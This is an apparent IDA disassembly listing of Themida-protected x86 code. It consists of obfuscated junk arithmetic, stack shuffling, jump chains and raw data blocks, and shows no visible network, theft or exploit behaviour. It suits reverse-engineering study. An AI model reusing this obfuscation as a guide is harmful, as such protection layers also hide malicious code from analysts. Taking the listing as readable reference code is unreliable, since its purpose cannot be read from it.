		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_5EB035
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 0CBE6858h, 1C890000h, 50E38924h, 6B1DB1B8h
		dd 0E9D0F730h, 0FFFFCF5Dh, 93E9E089h, 81000033h, 0CB074CC6h
		dd 0FFC68149h, 5116C655h, 1036A8B9h, 59CE2937h,	5DCCEE81h
		dd 0C60138DBh, 5DCCBD55h, 0EE0138DBh, 0A8C6815Dh, 0E9371036h
		dd 0FFFFC7D6h, 3A48E381h, 0DBF73A17h, 6A35EB81h, 0DD29B397h
		dd 0FF9A4EE9h, 0C8B66FFh, 0E2895224h, 4C281h, 0BF570000h
		dd 262A46D1h, 18B4C781h, 0C7814FB1h, 4C0E1829h,	0CF81D7F7h
		dd 4AB9014Dh, 0FFC8A1E9h, 45E981FFh, 8137D167h,	7875FBC1h
		dd 0E9D9295Ch, 0FFFFFB25h, 5556E089h, 0FFB8D5E9h, 4EC81FFh
		dd 89000000h, 0E2E9243Ch, 83FFFF7Eh, 1C8704C3h,	24248B24h
		dd 610568h, 24348900h, 57B3A4BEh, 51402D2Eh, 0E9E921E6h
		dd 87FFFFBAh, 0D158243Ch, 0E891E9E0h, 0FF53FFFFh, 5B042474h
		dd 5C24048Fh, 0FF7C2DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F2689:				; CODE XREF: Themida_:005EF7B4j
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	332C6013h
		pop	ebx
		shr	ebx, 7
		not	ebx
		xchg	ebp, ebx
		xchg	eax, ebp
		not	eax
		xchg	eax, ebp
		push	38ADh
		mov	[esp], ebx
		push	ebp
		pop	ebx
		pop	ebp
		inc	ebx
		push	6B39h
		mov	[esp], edx
		jmp	loc_5F4832
; ---------------------------------------------------------------------------
		db 0B8h
		dd 50335212h, 822A3335h, 781D2D29h, 0C30179B1h,	0FFA648E9h
		dd 148759FFh, 89665C24h, 50662414h, 7BD4E99Ch, 8141FFFFh
		dd 414926F1h, 59CB296Dh, 1C8BDD01h, 4EC8324h, 89241489h
		dd 0FB67E9E2h, 0BA52FFFFh, 4, 119AC381h, 0D3014CD8h, 119AEB81h
		dd 555A4CD8h, 0FF7CC2E9h, 1C8B5AFFh, 4C48124h, 0F7000000h
		dd 5E8C1D0h, 0A5B6E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F272E:				; CODE XREF: Themida_:005F0AE8j
		pop	esp
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	5DEDh
		mov	[esp], ecx
		jmp	loc_5F4491
; ---------------------------------------------------------------------------
		db 31h
		dd 9852E9D0h, 0C781FFFFh, 4, 8704C783h,	15E9243Ch
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F2763:				; CODE XREF: Themida_:005F0CD4j
		mov	esi, 41687033h
		add	esi, 22BD8FDAh
		jmp	loc_5EF5A3
; ---------------------------------------------------------------------------
		align 4
		dd offset dword_595A7C+74h
aS43		db '43',0
		align 2
		dw 34FFh
		dd 2434FF24h, 4C48358h,	714168h, 0EBBFE900h, 685AFFFFh
		dd 4AB1h, 68243C89h, 5161h, 0FF9C4BE9h,	1BBFFh,	89520000h
		dd 5A1089DAh, 0E955585Bh, 0A00h, 595AF000h, 0B60FC330h
		dd 148B66C0h, 922AE924h, 0D801FFFFh, 0E07C6005h, 2434FF72h
		dd 0FFEF23E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F27D9:				; CODE XREF: Themida_:005F2E43j
		add	edx, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_5EC7DA
		push	dword ptr [edi+1Ch]
		jmp	loc_5EB1BD
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0E6892434h, 0FFD552E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F2811:				; CODE XREF: Themida_:005EE7F2j
		pop	esi
		pop	ecx
		push	edx
		jmp	loc_5EAEC9
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 38h
		dd 316A3A5Eh, 2434FFEFh, 83242C8Bh, 0C48104C4h,	4, 0FFF402E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F2835:				; CODE XREF: Themida_:005F2508j
		xor	edi, 95DFBBD5h
		xor	[esp+4], edi
		pop	edi
		jmp	loc_5F0CCA
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0D1E95524h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F284F:				; CODE XREF: Themida_:005EF655j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5ECBD2
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 0D17AE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F2862:				; CODE XREF: Themida_:005EF5F3j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, edi
		push	eax
		jmp	loc_5F3396
; ---------------------------------------------------------------------------
		db 80h
		dd 0D2F6FFC2h, 5166D2F6h, 0EA3010B5h, 5E95966h,	0F7000012h
		dd 8E9C1D1h, 0FFEE5BE9h, 4EF83FFh, 2474FF57h, 48F5F04h
		dd 4895C24h, 40478F24h,	0E92434FFh, 0FFFFF04Fh,	24048B66h
		dd 536068h, 24148900h, 0FD668h,	24248900h, 4240483h, 0FFB0EBE9h
		dd 0E90158FFh, 55242C8Bh, 0FFBD12E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F28D5:				; CODE XREF: Themida_:005EED0Dj
		mov	[esp], ebp
		jmp	loc_5EEB0B
; ---------------------------------------------------------------------------


loc_5F28DD:				; CODE XREF: Themida_:005F167Bj
		pop	esi
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_5F49EF
		push	dword ptr [edi+1Ch]
		push	5D9h
		mov	[esp], ecx
		mov	ecx, 592F4B5Eh
		add	[esp+4], ecx
		pop	ecx
		pop	ecx
		push	edx
		push	44Ah
		mov	[esp], eax
		jmp	loc_5F0D4B
; ---------------------------------------------------------------------------


loc_5F2915:				; CODE XREF: Themida_:005ECF4Bj
		not	eax
		shr	eax, 2
		jmp	loc_5F5553
; ---------------------------------------------------------------------------


loc_5F291F:				; CODE XREF: Themida_:005EAD5Ej
		mov	edi, 4
		add	ebp, edi
		jmp	loc_5F12E6
; ---------------------------------------------------------------------------


loc_5F292B:				; CODE XREF: Themida_:005F32CBj
		add	ebx, eax
		pop	eax
		jmp	loc_5F615E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 74FF5100h, 8F590424h, 535C2404h, 0FFD0ABE9h, 1A98BEFFh
		dd 0BD553FDFh, 6A2F78D1h, 1827F581h, 0DCE94FD1h, 81000014h
		dd 2C23BFC7h, 81C70105h, 2C23BFEFh, 24048B05h, 4C481h
		dd 93E90000h, 2DFFFFB2h, 4, 0E9240487h,	0FFFF80B8h
; ---------------------------------------------------------------------------


loc_5F2988:				; CODE XREF: Themida_:005EF3F0j
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5F6464
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24348900h, 0BF575E54h,	4, 3C8BFE01h, 4C48124h
		dd 68000000h, 7CBAh, 0FFE316E9h, 240483FFh, 31CEE904h
		dd 59660000h, 81240C8Bh, 4C4h, 25B65200h, 6866h, 0FFAE05E9h
		dd 0B6EB81FFh, 173A450h, 0DABDE9C3h, 0F001FFFFh, 6A03B605h
		dd 24348B39h, 6FB668h, 24148900h, 0C281E289h, 4, 4C281h
		dd 14870000h, 24248B24h, 0FF820AE9h, 0E9D389FFh, 1420h
		dd 4C481h, 0F1810000h, 1C475C07h, 0EC6CC181h, 0C8898161h
		dd 0FFC30159h, 50582434h, 5A68E089h, 89000038h,	4B9240Ch
		dd 1000000h, 40559C8h, 87000000h, 8CE92404h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F2A63:				; CODE XREF: Themida_:005EC401j
		push	dword ptr [esp]
		pop	eax
		push	390Bh
		mov	[esp], edx
		mov	edx, esp
		push	ebp
		mov	ebp, 2E164475h
		xor	ebp, 12B708DDh
		inc	ebp
		jmp	loc_5EA607
; ---------------------------------------------------------------------------


loc_5F2A83:				; CODE XREF: Themida_:005EBCC0j
		pop	edx
		pop	esi
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jnz	loc_5EC400
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5F0EA9
; ---------------------------------------------------------------------------
		dw 0F800h
		dd 24148B5Bh, 81E78957h, 4C7h, 4C78100h, 0E9000000h, 1145h
		dd 3359CD29h, 2C31242Ch, 242C3324h, 8924248Bh, 68512414h
		dd 41D9010Ah, 136DE9h, 5E5C100h, 1CFBE9h, 4EB8100h, 0E9000000h
		dd 0FFFF9498h, 4C7815Fh, 83000000h, 348904ECh, 3E7BBE24h
		dd 94E97525h, 66FFFFB6h, 0C301665Fh, 0B236866h,	24048966h
		dd 6C6F6866h, 81665866h, 0E969D9C3h, 0FFFF7875h, 0BC1630BFh
		dd 81EFD11Eh, 601479E7h, 0EBE95514h, 1000006h, 5A042454h
		dd 0B8E9E95Fh, 0F66FFFFh, 686602B6h, 89662174h,	6BE92404h
		dd 4EFFFF77h, 6936C681h, 0F3099E11h, 0B4EB815Eh, 8120B237h
		dd 0F4722FC3h, 0F5BA522Eh, 813D6360h, 0FFFFFFEAh, 0A49CE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F2B72:				; CODE XREF: Themida_:005F615Fj
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		or	eax, eax
		jnz	loc_5F4DFE
		push	104Fh
		mov	[esp], ebp
		mov	ebp, 2E8A13DFh
		sub	ebp, 36F61481h
		push	edi
		mov	edi, 5FB86C39h
		add	ebp, edi
		pop	edi
		push	edi
		mov	edi, 47583CDEh
		shr	edi, 2
		add	edi, 7F1A6B86h
		push	ecx
		mov	ecx, 59784700h
		shl	ecx, 5
		shl	ecx, 6
		not	ecx
		shl	ecx, 6
		add	ecx, 49596720h
		push	ebx
		mov	ebx, 60573012h
		add	ecx, 7E6C36D1h
		jmp	loc_5EEEF6
; ---------------------------------------------------------------------------
		dd 0E789575Ah, 4C781h, 51520000h, 320314B9h, 92C18156h
		dd 89E9D945h, 0EA8159CAh, 400B48A2h, 0E95AD701h, 25A3h
; ---------------------------------------------------------------------------


loc_5F2BFC:				; CODE XREF: Themida_:005F4288j
		mov	ebx, 72AB66D0h
		inc	ebx
		or	ebx, 2F5A6932h
		xor	ebx, 2F64031Fh
		xor	ebx, 60AF31A2h
		jmp	loc_5F126D
; ---------------------------------------------------------------------------


loc_5F2C19:				; CODE XREF: Themida_:005ECD34j
		inc	esi
		xor	esi, 147C57AFh
		add	edx, esi
		pop	esi
		jmp	loc_5ED3D9
; ---------------------------------------------------------------------------
		dd 499EBD55h, 0E8012CF3h, 2DE8015Dh, 2CF3499Eh,	81242C8Bh
		dd 4C4h, 0B77EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F2C46:				; CODE XREF: Themida_:005EBC1Ej
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5EFCDA
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FFBD2AE9h, 48B66FFh, 675B6824h, 14890000h, 53E28924h
		dd 7CB85052h, 0F700A641h, 16C35D0h, 0B03572F2h,	2D22AD4Eh
		dd 3145B8ACh, 8158C289h, 110CE9CAh, 22FCE931h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F2C8A:				; CODE XREF: Themida_:005F1164j
		add	dh, 4Ah
		sub	al, dh
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		jmp	loc_5F6502
; ---------------------------------------------------------------------------
		dd 2A9FEB81h, 0ED8191C3h, 82E1AC1h, 0E2E9DD01h,	57FFFFD9h
		dd 0FF7AC8E9h, 40966FFh, 0F3E99C24h, 81FFFF75h,	125046F6h
		dd 0E4C58144h, 13BB434h, 0E4ED81F5h, 0E93BB434h, 30Bh
; ---------------------------------------------------------------------------


loc_5F2CDC:				; CODE XREF: Themida_:005EC202j
		pop	esp
		or	eax, eax
		jz	loc_5F3AE7
		sub	esp, 4
		jmp	loc_5EA5EF
; ---------------------------------------------------------------------------
		dd 0DD88D388h, 0D0C3E95Bh, 0F180FFFFh, 59C88862h, 4EC8351h
		dd 3727E9h, 24148B00h, 0E904C483h, 1301h, 5704C483h, 0F90C9F68h
		dd 0C8F4E93Eh, 0EB81FFFFh, 5019764Eh, 2C3835Fh,	31241C33h
		dd 1C33241Ch, 24248B24h, 24048B66h, 316CE9h, 597ABD00h
		dd 0C58355E3h, 92E2E9FFh, 0D568FFFFh, 5AF96ADCh, 3511E9h
		db 0
; ---------------------------------------------------------------------------


loc_5F2D59:				; CODE XREF: Themida_:005EF647j
		push	edi
		jmp	loc_5ED7AE
; ---------------------------------------------------------------------------
		db 0ADh
		dd 54BE5657h, 8922AF19h, 0C7815EF7h, 1173DCAh, 0FFF16FE9h
		dd 0E4E95BFFh, 0FFFFFFFBh, 34FF2434h, 42E95924h, 89FFFF7Dh
		dd 9CE953E2h, 31000012h, 0E3E9243Ch
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F2D97:				; CODE XREF: Themida_:005F391Bj
		inc	edi
		xor	esi, edi
		xor	edi, esi
		xor	esi, edi
		jmp	loc_5F5E69
; ---------------------------------------------------------------------------
aAiY		db 'Y',0
		dd 8DC380C3h, 0FFC0B60Fh, 0FAE98734h, 0BB000037h, 6C645CF1h
		dd 5799B850h, 4FE904DBh, 8B00000Ch, 73E9241Ch, 81FFFFE8h
		dd 4C2h, 4BE5600h, 1000000h, 14335EF2h,	24143124h, 5C241433h
		dd 0FF74C9E9h, 0CE956FFh, 81000011h, 90246ECAh,	6E2C123h
		dd 38C28142h, 898128D8h, 24148BD3h, 0FFDD80E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F2E0D:				; CODE XREF: Themida_:005F6466j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5F3A3D
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 24041166h, 7490E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F2E26:				; CODE XREF: Themida_:005F3142j
		mov	edi, 4C0972FAh
		mov	edx, edi
		pop	edi
		or	edi, edx
		pop	edx
		push	ebx
		mov	ebx, 7D7373FBh
		xor	edi, ebx
		pop	ebx
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	edx
		mov	edx, esp
		jmp	loc_5F27D9
; ---------------------------------------------------------------------------
		dd 15EF231h, 0D87BE9D1h, 0C581FFFFh, 4,	0FF7EFAE9h, 0B85053FFh
		dd 5B16FB94h, 45E9C389h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F2E6B:				; CODE XREF: Themida_:005F1787j
		inc	esi
		xor	esi, 2E4A18C2h
		mov	edi, esi
		pop	esi
		dec	edi
		xor	edi, 692B4C82h
		neg	edi
		neg	edi
		push	ebx
		mov	ebx, 7A555258h
		shr	ebx, 8
		sub	ebx, 7154BA48h
		sub	edi, ebx
		pop	ebx
		add	edx, edi
		jmp	loc_5F3B53
; ---------------------------------------------------------------------------
		dd offset dword_64E668
		align 2
		dw 0C89h
aSy		db '$Y$',0
		align 2
a313Uh3		db '3<$1<$3<$\Uh3\',0
		align 2
aS_6		db '~',0Ah,0
		dw 0FF00h
		dd 0E95A2434h, 1221h
; ---------------------------------------------------------------------------


loc_5F2EC4:				; CODE XREF: Themida_:005F3C09j
		add	dword ptr [edi+20h], 14097B27h
		mov	ebx, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5F6357
; ---------------------------------------------------------------------------
		dw 43BAh
		dd 811B5E3Bh, 9C03F9EAh, 2267E90Dh, 53550000h, 0A763FEBBh
		dd 18D1BD32h, 0DD010BF4h, 8BE8015Bh, 0C481242Ch, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 78B071BAh
		add	eax, 4FCD4F38h
		add	eax, ebp
		sub	eax, 4FCD4F38h
		mov	ebp, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	61B3h
		mov	[esp], ecx
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5EFB37
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0ED830000h, 242C8704h, 2404895Ch, 4F9F6851h
		dd 0C8B62D9h, 0FAA2E924h, 3C87FFFFh, 24248B24h,	0E92424D3h
		dd 0FFFF7322h, 8704C683h, 0E95C2434h, 35Bh
; ---------------------------------------------------------------------------


loc_5F2FA0:				; CODE XREF: Themida_:005EBAD1j
		mov	esi, 4397526Fh
		jmp	loc_5EFF6B
; ---------------------------------------------------------------------------
		dw 0BEBEh
		dd 81277A0Eh, 4F5B39EEh, 0CE68148h, 51126324h, 0DDE000B9h
		dd 59CE01EDh, 0FC8C181h, 4DE949A7h, 89FFFF99h, 0C1E9241Ch
		dd 83FFFF9Ah, 30E904C4h, 8B000026h, 33E9243Ch, 5EFFFF89h
		dd 34E1E9h, 4C68300h, 0FFA354E9h, 2434FFFFh, 0E7895759h
		dd 4C781h, 0EF810000h, 4, 0E904EC83h, 0FFFFC43Fh, 4BDh
		dd 8BEA0100h, 0C481242Ch, 4, 0FF94D5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F3025:				; CODE XREF: Themida_:005EBBFFj
		xor	esi, 2CA50F38h
		sub	esi, 0D928E49Dh
		sub	edx, esi
		mov	esi, [esp]
		add	esp, 4
		add	edx, eax
		push	ebp
		mov	ebp, 5C7D4791h
		add	edx, ebp
		pop	ebp
		push	592Fh
		mov	[esp], ebp
		mov	ebp, 125C5D56h
		add	edx, 1B782750h
		jmp	loc_5ED30E
; ---------------------------------------------------------------------------


loc_5F305C:				; CODE XREF: Themida_:005ED344j
		mov	[esp], edx
		push	eax
		jmp	loc_5ECB94
; ---------------------------------------------------------------------------
		db 56h,	0FFh, 74h
		dd 8F5E0424h, 665C2404h, 9C2424D3h, 0FF723DE9h,	41ED81FFh
		dd 8106FB71h, 85280FEDh, 8DC58158h, 8B333736h, 1EE92414h
		dd 1FFFFE2h, 0D98958C3h, 0FFBB0FE9h, 10CBB9FFh,	0E18117DBh
		dd 5426B20h, 373468h, 2524E900h, 4B80000h, 1000000h, 0EC8358C7h
		dd 24148904h, 1735B951h, 0CDBA1105h, 1EEFAE8h, 46E959CAh
		dd 81FFFF76h, 0D10B25EBh, 57FB013Bh, 0FFC43EE9h, 0F9E95AFFh
		dd 89FFFFBEh, 5FE95EF7h
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F30EF:				; CODE XREF: Themida_:005F3EEFj
		sub	dword ptr [esp+4], 39E4078Fh
		sub	[esp+4], ecx
		add	dword ptr [esp+4], 39E4078Fh
		push	eax
		jmp	loc_5F0C36
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 93h
		dd 0E99289ABh, 0FFFFF746h, 78D7BA52h, 0D7E90543h, 81000016h
		dd 6D06FECFh, 4EFC10Ah,	6807EFC1h, 7AB8h, 0FFBF69E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F3135:				; CODE XREF: Themida_:005EE3ABj
		add	ebp, edx
		jmp	loc_5EDB78
; ---------------------------------------------------------------------------


loc_5F313C:				; CODE XREF: Themida_:005F36E7j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5F2E26
; ---------------------------------------------------------------------------
		db 29h
		dd 0BB5359CAh, 189A2CC0h, 0FFD053E9h, 6A0A68FFh, 0E9540000h
		dd 2B14h, 0E95AD701h, 0FFFFE028h, 7D2AE954h, 0C14FFFFFh
		dd 0BE5605E7h, 69E33D3Ah, 0C1E9F721h, 56FFFFE9h, 0FFA26FE9h
		dd 0F58158FFh, 566A2B2Bh, 0FF9C12E9h, 89575CFFh, 4C781E7h
		dd 83000000h, 0FF5704C7h, 5F042474h, 8B24048Fh,	89572424h
		dd 4C781E7h, 0E9000000h, 0FFFFC4A9h, 0C581E589h, 4, 8704ED83h
		dd 895C242Ch, 0B968242Ch, 5D67686Eh, 0FF8E38E9h, 9CC885FFh
		dd 0FF70D9E9h, 0F68166FFh, 89664665h, 47665EF7h, 249EE9h
		dd 0B2CD8100h, 81569911h, 40064AC5h, 5DEA0109h,	2C281h
		dd 12E90000h, 59FFFF99h, 0FFAB7EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F320D:				; CODE XREF: Themida_:005EBA13j
		mov	[esp], ecx
		push	17DBh
		jmp	loc_5ED1A4
; ---------------------------------------------------------------------------
		dw 0BDh
		dd 29000000h, 0E9EF89FDh, 0FFFF7B6Ch, 0A1E95558h, 5DFFFF97h
		dd 96D0F796h, 0B3F3C681h, 5D565830h, 3EDC15Eh, 5449F581h
		dd 0CD813F9Ah, 462435B9h, 0B7FDF581h, 0E9017E7Fh, 617E9h
		db 0
; ---------------------------------------------------------------------------


loc_5F3259:				; CODE XREF: Themida_:005EF0AFj
		mov	cl, dh
		pop	edx
		pop	eax
		xor	al, cl
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_5F6517
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 430C46CFh, 21DD68h, 0A91BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F327E:				; CODE XREF: Themida_:005F3890j
		pop	ebx
		jmp	loc_5EA2B6
; ---------------------------------------------------------------------------


loc_5F3284:				; CODE XREF: Themida_:005F0C87j
		xor	ecx, ebx
		jmp	loc_5ED986
; ---------------------------------------------------------------------------
		db 66h
		dd 5624148Bh, 0B850E689h, 349B5D05h, 46BD5548h,	8129CA64h
		dd 0C5405AEDh, 3E5C12Dh, 10FDE581h, 0C3E9701Bh,	0FFFFCEh
		dd 0B7EB80D3h, 0EB805A66h, 84CCE998h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F32C2:				; CODE XREF: Themida_:005ED806j
		pop	ebp
		add	ebx, ecx
		push	eax
		mov	eax, 4F3E41BCh
		jmp	loc_5F292B
; ---------------------------------------------------------------------------
aTsr		db 'Tr!',0
		align 2
		dw 0C680h
		dd 6EF6806Ch, 88CDEE80h, 0B5515AF5h, 59E828F6h,	0A1E95052h
		dd 89FFFFA2h, 4832424h,	25E90424h, 1FFFF88h, 0C7815EF7h
		dd 2, 2474FF57h, 48F5F04h, 53515C24h, 0FFF9DBE9h, 0CFB951FFh
		dd 1430C46h, 5904244Ch,	0FF8EEFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F3325:				; CODE XREF: Themida_:005F635Dj
		add	esp, 4
		add	esp, 4


loc_5F332E:				; CODE XREF: Themida_:005ECAEDj
					; Themida_:005F0AF7j
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	6723h
		mov	[esp], ecx
		push	284Fh
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		jmp	loc_5F4FA2
; ---------------------------------------------------------------------------
		dw 4C29h
		dd 8B590424h, 0C4812404h, 4, 0FD23E951h, 0D1B8FFFFh, 0E92B2A3Fh
		dd 276Fh, 0C4D2E957h, 0E955FFFFh, 0FFFF9AE8h
; ---------------------------------------------------------------------------


loc_5F3390:				; CODE XREF: Themida_:005EC87Fj
		pop	edx
		jmp	loc_5EFEF0
; ---------------------------------------------------------------------------


loc_5F3396:				; CODE XREF: Themida_:005F286Ej
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_5EAC3D
; ---------------------------------------------------------------------------
		db 68h
		dd 13C2h, 68242C89h, 0FEh, 0FF2434FFh, 23E92434h, 8BFFFFC9h
		dd 0C483240Ch, 0E3895304h, 4C381h, 0AE90000h, 8FFFFFF7h
		dd 0D35C2404h, 0E99C2424h, 0FFFF6ED6h, 24048B66h, 236268h
		dd 242C8900h, 0FF8D8DE9h, 2434FFFFh, 2D6BE9h, 4C58300h
		dd 5C242C87h, 4C481h, 3D680000h, 89000079h, 0BF57240Ch
		dd 1D662123h, 7D78F781h, 0DFF7356Fh, 3114C781h,	0DFF743ADh
		dd 0FF8DDEE9h, 4EC81FFh, 89000000h, 0BD55240Ch,	32DA6DF8h
		dd 89EB8953h, 241C8BD9h, 4C481h, 875D0000h, 0E9D5F7E9h
		dd 0FFFFB3F5h, 0A70E958h, 0C8B0000h, 878BE924h,	9E68FFFFh
		dd 0E9426037h, 0FFFFB78Ah, 2474FF50h, 48F5804h,	0C895C24h
		dd 35DB924h, 71685B48h,	0E9000067h, 0FFFFDAE9h
; ---------------------------------------------------------------------------


loc_5F3484:				; CODE XREF: Themida_:005F1E18j
		mov	ah, 0CFh
		xor	ah, 0D2h
		jmp	loc_5EFDE2
; ---------------------------------------------------------------------------
		dw 0D9F7h
		dd 4207F181h, 90E91A74h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F349B:				; CODE XREF: Themida_:005ED6A6j
		jmp	loc_5EA2B6
; ---------------------------------------------------------------------------
		dd 88DBC480h, 0DD2858E5h, 0B7B4505Bh, 0E95CF480h, 2617h
; ---------------------------------------------------------------------------


loc_5F34B4:				; CODE XREF: Themida_:005EEA2Aj
		pop	ebx
		jmp	loc_5F3ABD
; ---------------------------------------------------------------------------


loc_5F34BA:				; CODE XREF: Themida_:005F0F56j
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5F2580
; ---------------------------------------------------------------------------
aXaL		db 'Xl',0
		db 0F3h, 5Ah, 66h
		dd 66754868h, 0B5240C89h, 1DEB8040h, 0C380EB28h, 0C8B661Dh
		dd 2C48324h, 2D4CE9h, 1B800h, 0C7290000h, 89F78158h, 8100E21Ch
		dd 0F29E3F7h, 5FF90145h, 0E981D929h, 59BC756Ah,	5B2434FFh
		dd 4EC81h, 4890000h, 0F08AE924h, 53BDFFFFh, 8175036Bh
		dd 36B57F5h, 2AC18175h,	106F14Ah, 2AE981E9h, 5D06F14Ah
		dd 2C181h, 0BDE90000h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F3547:				; CODE XREF: Themida_:005EDA2Dj
		add	ebp, edi
		mov	edi, [esp]
		jmp	loc_5EB306
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 24h
dword_5F3554	dd 0B9000001h, 61BB7121h, 0C104E1C1h, 0C98105E1h, 5B0A50D8h
		dd 388C181h, 0F1814C91h, 28F3765Bh, 15DAE981h, 0CB01A1A8h
		dd 68C32959h, 6F01h, 68243C89h,	42E00A61h, 83243C8Bh, 0EC8104C4h
		dd 4, 0B8240489h, 58BC011Eh, 0F29E9h, 2434FF00h, 83240C8Bh
		dd 286804C4h, 8900004Fh, 0E589242Ch, 4C581h, 0ED810000h
		dd 4, 5C242C87h, 54242C89h, 83242C8Bh, 42E904C4h, 81FFFF96h
		dd 4C4h, 4C48300h, 4C781h, 8DE90000h, 8B00000Dh, 0C4812414h
		dd 4, 2382E9h, 240C8900h, 4B9h,	8BCF0100h, 8956240Ch, 0B1BD55E6h
		dd 81518209h, 7B4BF1C5h, 0B66FE93Fh, 0C281FFFFh, 327C489Bh
		dd 7A64E958h, 8B66FFFFh, 0E9552404h, 258Dh, 8004ECC0h
		dd 51662DC4h, 0EC00F5B5h, 0E5885966h, 0E9E83058h, 0FFFF9C3Ah
; ---------------------------------------------------------------------------


loc_5F3648:				; CODE XREF: Themida_:005F1CABj
		sub	edx, 0FEC3DEEh
		sub	edx, 25086961h
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	esi
		mov	esi, 113406E5h
		jmp	loc_5EB7D0
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 6866C8BEh, 89665C9Dh, 95E9240Ch, 83000009h, 348904ECh
		dd 81E68924h, 4C6h, 4C68100h, 87000000h, 815C2434h, 4C7h
		dd 4EF8300h, 2474FF57h,	48F5F04h, 34895C24h, 0FBFFBE24h
		dd 7721FFFFh, 2434FF1Ch, 8324348Bh, 0C48104C4h,	4, 0FF6BF1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F36C5:				; CODE XREF: Themida_:005EFC70j
		xchg	edx, [esp]
		pop	esp
		pop	eax
		push	ebp
		mov	ebp, 531C6BCFh
		add	eax, ebp
		pop	ebp
		push	7248h
		mov	[esp], edi
		mov	edi, 30AF1E32h
		xor	edi, 1DD2DF1h
		push	edx
		jmp	loc_5F313C
; ---------------------------------------------------------------------------
		dd 5C241C87h, 0FF6BC1E9h, 58C701FFh, 8904EC83h,	0C4BA2414h
		dd 0F7119D0Bh, 81DAF7DAh, 62F43EC2h, 7BBE56EEh,	0C107DC6Fh
		dd 0C68107E6h, 7F24C08h, 0C681DEF7h, 54B2687Bh,	15EF729h
		dd 0F3C781D7h, 8B5E885Eh
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
